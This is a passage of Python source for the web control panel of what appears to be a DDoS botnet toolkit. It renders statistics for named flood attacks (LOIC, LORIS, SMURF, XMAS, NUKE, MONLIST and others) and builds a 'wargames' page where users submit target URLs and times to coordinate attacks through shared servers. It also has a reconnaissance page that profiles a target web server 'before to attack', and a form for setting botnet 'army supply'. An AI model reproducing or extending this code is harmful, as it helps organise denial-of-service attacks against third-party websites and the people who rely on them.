  888. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  889. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  890. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  891. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  892. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  893. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  894. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  895. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  896. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  897. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  898. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  899. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  900. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  901. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  902. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  903. try:
  904. grid_id = m[11] # id (plain id)
  905. except:
  906. grid_id = "invalid!"
  907. elif version == 10: # v0.9
  908. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  909. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  910. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  911. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  912. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  913. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  914. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  915. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  916. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  917. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  918. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  919. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  920. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  921. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  922. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  923. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  924. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  925. try:
  926. grid_id = m[10] # id (plain id)
  927. except:
  928. grid_id = "invalid!"
  929. else: # no valid version
  930. pass
  931. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  932. else: # not valid stream data
  933. pass
  934. grid_table += "</table>"
  935. if mothership_members == 0:
  936. mothership_members = "¿?"
  937. if unknown_members == 0:
  938. unknown_members = "¿?"
  939. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  940. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr></table><br><hr><br>"
  941. grid_table = mother_grid + grid_table + "</div>"
  942. return grid_table
  943. def html_grid(self):
  944. if self.ranking == "Rookie": # Rookie
  945. your_ranking = "<font color='white'>Rookie [*]</font>"
  946. elif self.ranking == "Mercenary": # Mercenary
  947. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  948. elif self.ranking == "Bandit": # Bandit
  949. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  950. elif self.ranking == "UFOmmander!": # UFOmmander!
  951. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  952. elif self.ranking == "UFOl33t!": # UFOl33t!
  953. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  954. else:
  955. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  956. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  957. device_state = "OFF"
  958. device = "Grid device: <font color='red'>OFF</font><br>"
  959. else:
  960. device_state = "ON"
  961. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  962. data = json.load(gridcfg_json_file)
  963. gridcfg_json_file.close()
  964. grid_token = data["grid_token"]
  965. grid_contact = data["grid_contact"]
  966. grid_contact.encode('utf-8')
  967. grid_nick = data["grid_nick"]
  968. grid_nick.encode('utf-8')
  969. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  970. if device_state == "OFF":
  971. grid_panel = ""
  972. else:
  973. grid_table = self.generate_grid()
  974. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  975. if device_state == "OFF":
  976. dec_panel = ""
  977. else:
  978. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  979. if device_state == "OFF":
  980. sync_panel = ""
  981. else:
  982. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  983. if device_state == "OFF":
  984. transfer_panel = ""
  985. else:
  986. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  987. if device_state == "OFF":
  988. remove_grid = ""
  989. else:
  990. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  991. return self.pages["/header"] + """<script language="javascript">
  992. function GridProfile() {
  993. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  994. }
  995. function RemoveGrid() {
  996. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  997. }
  998. function Stats() {
  999. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1000. }
  1001. function Sync_panel(){
  1002. document.getElementById("sync_panel_block").style.display = "block";
  1003. document.getElementById("dec_panel").style.display = "none";
  1004. document.getElementById("transfer_panel").style.display = "none";
  1005. }
  1006. function SyncGrid(){
  1007. grid_source=document.getElementById("grid_source").value
  1008. if(grid_source == "") {
  1009. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1010. return
  1011. }else{
  1012. params="grid_source="+escape(grid_source)
  1013. runCommandX("cmd_sync_grid",params)
  1014. setTimeout("location.reload()", 10000)
  1015. }
  1016. }
  1017. function Transfer_panel(){
  1018. document.getElementById("transfer_panel").style.display = "block";
  1019. document.getElementById("sync_panel_block").style.display = "none";
  1020. document.getElementById("dec_panel").style.display = "none";
  1021. }
  1022. function TransferGrid() {
  1023. grid_source=document.getElementById("grid_source_upload").value
  1024. grid_key=document.getElementById("grid_key_upload").value
  1025. if(grid_source == "") {
  1026. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1027. return
  1028. }else{
  1029. if(grid_key == "") {
  1030. window.alert("You need to enter a valid key (provided by someone)");
  1031. return
  1032. }else{
  1033. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1034. runCommandX("cmd_transfer_grid",params)
  1035. setTimeout("location.reload()", 10000)
  1036. }
  1037. }
  1038. }
  1039. function Decryption_panel(){
  1040. document.getElementById("dec_panel").style.display = "block";
  1041. document.getElementById("transfer_panel").style.display = "none";
  1042. document.getElementById("sync_panel_block").style.display = "none";
  1043. }
  1044. function Decrypt_grid(){
  1045. grid_key=document.getElementById("grid_key").value
  1046. if(grid_key == "") {
  1047. window.alert("You need to enter a valid key (provided by someone)");
  1048. return
  1049. }else{
  1050. params="grid_key="+escape(grid_key)
  1051. runCommandX("cmd_decrypt_grid",params)
  1052. panel_enc = document.getElementById("grid_panel_enc").style.display
  1053. if(panel_enc == "block"){
  1054. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1055. }
  1056. }
  1057. }
  1058. function GridFilter(filter, key){
  1059. params="filter="+escape(filter)+"&key="+escape(key)
  1060. runCommandX("cmd_grid_filter", params)
  1061. setTimeout("Decrypt_grid()", 2000)
  1062. }
  1063. </script>
  1064. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1065. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1066. <br><center>
  1067. <table cellpadding="5" cellspacing="5"><tr>
  1068. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1069. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1070. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1071. """ + self.pages["/footer"]
  1072. def generate_wargames(self):
  1073. with open(self.wargames_file) as f:
  1074. for line in f:
  1075. line = line.strip()
  1076. f.close()
  1077. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1078. for m in self.list_wargames: # list = creation, target, estimated
  1079. if wargames_msg_sep in m:
  1080. m = m.split(wargames_msg_sep)
  1081. wargame_creation = m[0][0:12] # creation date
  1082. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1083. wargame_target = m[1][0:12] # target (obfuscation)
  1084. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1085. wargame_estimated = m[2][0:12] # estimated date
  1086. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1087. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1088. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1089. wargame_status = wargame_state # status (obfuscated like state)
  1090. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1091. wargames_table += "</table>"
  1092. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1093. wargames_table = mother_wargame + wargames_table + "</div>"
  1094. return wargames_table
  1095. def html_wargames(self):
  1096. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1097. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1098. wargames_table = self.generate_wargames()
  1099. return self.pages["/header"] + """<script language="javascript">
  1100. function Decrypt_wargames(){
  1101. wargames_deckey=document.getElementById("wargames_deckey").value
  1102. if(wargames_deckey == "") {
  1103. window.alert("You need to enter a valid key (provided by someone)");
  1104. return
  1105. }else{
  1106. params="wargames_deckey="+escape(wargames_deckey)
  1107. runCommandX("cmd_decrypt_wargames",params)
  1108. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1109. if(panel_enc == "block"){
  1110. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1111. }
  1112. }
  1113. }
  1114. function SyncWargames(){
  1115. wargames_source=document.getElementById("wargames_source").value
  1116. if(wargames_source == "") {
  1117. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1118. return
  1119. }else{
  1120. params="wargames_source="+escape(wargames_source)
  1121. runCommandX("cmd_sync_wargames",params)
  1122. setTimeout("location.reload()", 10000)
  1123. }
  1124. }
  1125. function Send() {
  1126. wargames_source2=document.getElementById("wargames_source2").value
  1127. wargames_enckey=document.getElementById("wargames_enckey").value
  1128. wargames_target=document.getElementById("wargames_target").value
  1129. wargames_estimated=document.getElementById("wargames_estimated").value
  1130. if(wargames_source2 == "") {
  1131. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1132. return
  1133. }else{
  1134. if(wargames_enckey == "") {
  1135. window.alert("You need to enter a valid key (provided by someone)");
  1136. return
  1137. }else{
  1138. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1139. runCommandX("cmd_transfer_wargame",params)
  1140. setTimeout("location.reload()", 10000)
  1141. }
  1142. }
  1143. }
  1144. function JobRemove(id) {
  1145. params="id="+escape(id)
  1146. runCommandX("cmd_job_remove",params)
  1147. setTimeout("Decrypt_wargames()", 2000)
  1148. }
  1149. function JobAdd(id) {
  1150. params="id="+escape(id)
  1151. runCommandX("cmd_job_add", params)
  1152. setTimeout("Decrypt_wargames()", 2000)
  1153. }
  1154. function JobAddAll() {
  1155. runCommandX("cmd_job_add_all")
  1156. setTimeout("Decrypt_wargames()", 2000)
  1157. }
  1158. function JobCancel(id) {
  1159. params="id="+escape(id)
  1160. runCommandX("cmd_job_cancel", params)
  1161. setTimeout("Decrypt_wargames()", 2000)
  1162. }
  1163. function JobRemoveAll(key) {
  1164. params="key="+escape(key)
  1165. runCommandX("cmd_job_remove_all", params)
  1166. setTimeout("Decrypt_wargames()", 2000)
  1167. }
  1168. function JobCancelAll() {
  1169. runCommandX("cmd_job_cancel_all")
  1170. setTimeout("Decrypt_wargames()", 2000)
  1171. }
  1172. function JobFilter(filter, key) {
  1173. params="filter="+escape(filter)+"&key="+escape(key)
  1174. runCommandX("cmd_job_filter", params)
  1175. setTimeout("Decrypt_wargames()", 2000)
  1176. }
  1177. function EditSupply(){
  1178. if(document.getElementById("supply_edit").value == "EDIT"){
  1179. document.getElementById("supply_botnet").readOnly = false;
  1180. document.getElementById("supply_loic").readOnly = false;
  1181. document.getElementById("supply_loris").readOnly = false;
  1182. document.getElementById("supply_ufosyn").readOnly = false;
  1183. document.getElementById("supply_spray").readOnly = false;
  1184. document.getElementById("supply_smurf").readOnly = false;
  1185. document.getElementById("supply_xmas").readOnly = false;
  1186. document.getElementById("supply_nuke").readOnly = false;
  1187. document.getElementById("supply_tachyon").readOnly = false;
  1188. document.getElementById("supply_monlist").readOnly = false;
  1189. document.getElementById("supply_edit").title = "Set global army supply..."
  1190. document.getElementById("supply_edit").value = "SET"
  1191. document.getElementById("supply_edit").innerHTML = "SET!"
  1192. }else{
  1193. supply_botnet=document.getElementById("supply_botnet").value
  1194. supply_loic=document.getElementById("supply_loic").value
  1195. supply_loris=document.getElementById("supply_loris").value
  1196. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1197. supply_spray=document.getElementById("supply_spray").value
  1198. supply_smurf=document.getElementById("supply_smurf").value
  1199. supply_xmas=document.getElementById("supply_xmas").value
  1200. supply_nuke=document.getElementById("supply_nuke").value
  1201. supply_tachyon=document.getElementById("supply_tachyon").value
  1202. supply_monlist=document.getElementById("supply_monlist").value
  1203. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1204. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1205. return
  1206. }else{
  1207. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1208. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1209. return
  1210. }else{
  1211. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1212. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1213. return
  1214. }else{
  1215. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1216. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1217. return
  1218. }else{
  1219. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1220. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1221. return
  1222. }else{
  1223. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1224. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1225. return
  1226. }else{
  1227. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1228. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1229. return
  1230. }else{
  1231. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1232. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1233. return
  1234. }else{
  1235. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1236. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1237. return
  1238. }else{
  1239. if(isNaN(parseFloat(supply_monlist)) || parseFloat(supply_monlist) < 0) {
  1240. window.alert("You need to enter a valid MONLIST supply number (int>=0)");
  1241. return
  1242. }else{
  1243. document.getElementById("supply_botnet").readOnly = true;
  1244. document.getElementById("supply_loic").readOnly = true;
  1245. document.getElementById("supply_loris").readOnly = true;
  1246. document.getElementById("supply_ufosyn").readOnly = true;
  1247. document.getElementById("supply_spray").readOnly = true;
  1248. document.getElementById("supply_smurf").readOnly = true;
  1249. document.getElementById("supply_xmas").readOnly = true;
  1250. document.getElementById("supply_nuke").readOnly = true;
  1251. document.getElementById("supply_tachyon").readOnly = true;
  1252. document.getElementById("supply_monlist").readOnly = true;
  1253. document.getElementById("supply_edit").title = "Edit global army supply..."
  1254. document.getElementById("supply_edit").value = "EDIT"
  1255. document.getElementById("supply_edit").innerHTML = "EDIT"
  1256. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)+"&monlist="+escape(supply_monlist)
  1257. runCommandX("cmd_edit_supply",params)
  1258. setTimeout("Decrypt_wargames()", 2000)
  1259. }
  1260. }
  1261. }
  1262. }
  1263. }
  1264. }
  1265. }
  1266. }
  1267. }
  1268. }
  1269. }
  1270. }
  1271. </script>
  1272. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1273. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1274. <br>
  1275. <center>
  1276. <table cellpadding="5" cellspacing="5"><tr>
  1277. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td>
  1278. <td>
  1279. <pre>This feature will allow you to propose/join some real 'wargames'.
  1280. <hr>
  1281. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1282. <hr><br>
  1283. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1284. def html_abduction(self):
  1285. return self.pages["/header"] + """<script language="javascript">
  1286. function Requests() {
  1287. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1288. }
  1289. function Start(){
  1290. target=document.getElementById("target").value
  1291. String.prototype.startsWith = function(prefix){
  1292. return this.indexOf(prefix) === 0;
  1293. }
  1294. if(target.startsWith("http")){
  1295. params="target="+escape(target)
  1296. }else{
  1297. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  1298. return
  1299. }
  1300. runCommandX("cmd_abduction",params)
  1301. }
  1302. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1303. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1304. <br>
  1305. <center>
  1306. <table cellpadding="5" cellspacing="5"><tr>
  1307. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
  1308. <td>
  1309. <pre>
  1310. This feature will provide you information about target's web server.
  1311. You can use this before to attack to be more effective.
  1312. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1313. <hr>
  1314. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1315. <hr>
  1316. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  1317. </pre>
  1318. </td></tr></table>
  1319. <hr><br>
  1320. <div id="cmdOut"></div>""" + self.pages["/footer"]
  1321. def html_blackholes(self):
  1322. return self.pages["/header"] + """<script language="javascript">
  1323. function Decrypt(){
  1324. blackhole_key=document.getElementById("blackhole_key").value
  1325. if(blackhole_key == "") {
  1326. window.alert("You need to enter a valid key (provided by someone)");
  1327. return
  1328. }else{
  1329. params="blackhole_key="+escape(blackhole_key)
  1330. runCommandX("cmd_decrypt",params)
  1331. document.getElementById("nb1").style.display = "none";
  1332. }
  1333. }
  1334. </script>
  1335. <script language="javascript">
  1336. function RefreshBlackhole(){
  1337. blackholes_source=document.getElementById("blackholes_source").value
  1338. if(blackholes_source == "") {
  1339. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1340. return
  1341. }else{
  1342. params="blackholes_source="+escape(blackholes_source)
  1343. runCommandX("cmd_refresh_blackholes",params)
  1344. document.getElementById("nb1").style.display = "none";
  1345. setTimeout("location.reload()", 10000)
  1346. }
  1347. }
  1348. </script>
  1349. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1350. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1351. <br>
  1352. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  1353. <td>Blackhole/IP:</td>
  1354. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  1355. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  1356. <hr>
